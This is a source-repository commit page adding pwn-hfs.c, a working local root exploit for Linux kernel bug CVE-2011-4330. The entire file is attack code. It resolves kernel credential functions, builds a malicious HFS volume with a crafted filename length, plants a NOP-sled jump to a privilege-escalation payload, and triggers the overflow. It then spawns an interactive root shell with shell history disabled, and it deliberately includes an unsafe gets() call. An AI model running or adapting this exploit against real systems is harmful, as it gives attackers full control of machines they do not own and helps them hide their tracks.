summaryrefslogtreecommitdiffstats
path: root/pwn-hfs.c
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2011-11-21 08:49:43 -0500
committerJason A. Donenfeld <Jason@zx2c4.com>2011-11-21 08:49:43 -0500
commit0595785db7fd012609db18d3a3715c610b5d467f (patch)
tree7418e9d2ba9475b066805ec4f2fbad5b3cd91023 /pwn-hfs.c
downloadCVE-2011-4330-0595785db7fd012609db18d3a3715c610b5d467f.tar.xz
CVE-2011-4330-0595785db7fd012609db18d3a3715c610b5d467f.zip
Clearly the wrong way to do things.HEADmaster
Diffstat (limited to 'pwn-hfs.c')
-rw-r--r--pwn-hfs.c174
1 files changed, 174 insertions, 0 deletions
diff --git a/pwn-hfs.c b/pwn-hfs.c
new file mode 100644
index 0000000..66b7412
--- /dev/null
+++ b/pwn-hfs.c
@@ -0,0 +1,174 @@
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <dirent.h>
+#include <syscall.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <sys/utsname.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+
+// Spender's kernel sym code
+unsigned long get_kernel_sym(char *name)
+{
+ FILE *f;
+ unsigned long addr;
+ char dummy;
+ char sname[512];
+ struct utsname ver;
+ int ret;
+ int rep = 0;
+ int oldstyle = 0;
+
+ f = fopen("/proc/kallsyms", "r");
+ if (f == NULL) {
+ f = fopen("/proc/ksyms", "r");
+ if (f == NULL)
+ goto fallback;
+ oldstyle = 1;
+ }
+
+repeat:
+ ret = 0;
+ while(ret != EOF) {
+ if (!oldstyle)
+ ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
+ else {
+ ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
+ if (ret == 2) {
+ char *p;
+ if (strstr(sname, "_O/") || strstr(sname, "_S."))
+ continue;
+ p = strrchr(sname, '_');
+ if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
+ p = p - 4;
+ while (p > (char *)sname && *(p - 1) == '_')
+ p--;
+ *p = '\0';
+ }
+ }
+ }
+ if (ret == 0) {
+ fscanf(f, "%s\n", sname);
+ continue;
+ }
+ if (!strcmp(name, sname)) {
+ fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
+ fclose(f);
+ return addr;
+ }
+ }
+
+ fclose(f);
+ if (rep)
+ return 0;
+fallback:
+ uname(&ver);
+ if (strncmp(ver.release, "2.6", 3))
+ oldstyle = 1;
+ sprintf(sname, "/boot/System.map-%s", ver.release);
+ f = fopen(sname, "r");
+ if (f == NULL)
+ return 0;
+ rep = 1;
+ goto repeat;
+}
+
+typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
+typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
+_commit_creds commit_creds;
+_prepare_kernel_cred prepare_kernel_cred;
+
+volatile int got_root = 0;
+void root()
+{
+ commit_creds(prepare_kernel_cred(0));
+ got_root = 1;
+}
+
+void build_volume()
+{
+ if (getuid()) {
+ printf("[-] You must be root to build the malicious volume. Do this on another computer you control.\n");
+ exit(-1);
+ }
+ printf("[+] Building malicious HFS volume at /tmp/evilhfs.\n");
+ system("dd if=/dev/zero of=/tmp/evilhfs count=2048");
+ system("mkfs.hfs -h /tmp/evilhfs");
+ system("mkdir -v /tmp/evilhfsmount");
+ system("mount -v -t hfs /tmp/evilhfs /tmp/evilhfsmount");
+ system("touch /tmp/evilhfsmount/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
+ system("umount -v /tmp/evilhfsmount");
+ system("rmdir -v /tmp/evilhfsmount");
+
+ printf("[+] Modifying volume.\n");
+ FILE *hfs = fopen("/tmp/evilhfs", "r+");
+ if (!hfs) {
+ perror("fopen");
+ exit(-1);
+ }
+ fseek(hfs, 0x2AA0, SEEK_SET);
+ fputc(0xFF, hfs); // Make the length 255
+ fseek(hfs, 0x2B00, SEEK_SET);
+ for (int i = 0; i < 128; ++i)
+ fputc('A', hfs); // Write an A, which is 0x41
+ fclose(hfs);
+}
+
+void main(int argc, char *argv[])
+{
+ if (argc == 2 && strcmp(argv[1], "-b") == 0) {
+ build_volume();
+ return;
+ }
+
+ printf("[+] Resolving kernel symbols.\n");
+ commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
+ prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
+ if (!commit_creds || !prepare_kernel_cred) {
+ printf("[-] Failed to resolve kernel symbols.\n");
+ exit(-1);
+ }
+
+ printf("[+] Mmaping ascii page.\n");
+ void *location = mmap((void*)0x40404000, sysconf(_SC_PAGE_SIZE), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_SHARED, -1, 0);
+ if ((long)location < 0) {
+ perror("[-] mmap");
+ exit(-1);
+ }
+
+ printf("[+] Adding jmp to pwnage at 0x40404040.\n");
+ for (unsigned long i = 0x40404000; i <= 0x40404040; ++i)
+ *(char*)i = 0x90; // nop
+ *(char*)0x40404041 = 0xe9; // jmp
+ *(unsigned long*)0x40404042 = (unsigned long)&root;
+
+ printf("[+] Enter the mount point of the malicious HFS volume: ");
+ char mountpoint[256];
+ // For good measure, I'm including a stack overflow inside of a stack overflow exploit. Have fun kids.
+ gets(mountpoint);
+
+ printf("[+] Reading directory to trigger overflow.\n");
+ DIR *dir = opendir(mountpoint);
+ if (!dir) {
+ perror("opendir");
+ exit(-1);
+ }
+ while(readdir(dir));
+
+ printf("[+] Triggering clobbered function pointer.\n");
+ syscall(__NR_restart_syscall);
+
+ if (!got_root) {
+ printf("[-] Failed to get root.\n");
+ exit(-1);
+ }
+
+ setuid(0);
+ setgid(0);
+ setenv("HISTFILE", "/dev/null", 1);
+ execl("/bin/sh", "sh", "-i", NULL);
+} \ No newline at end of file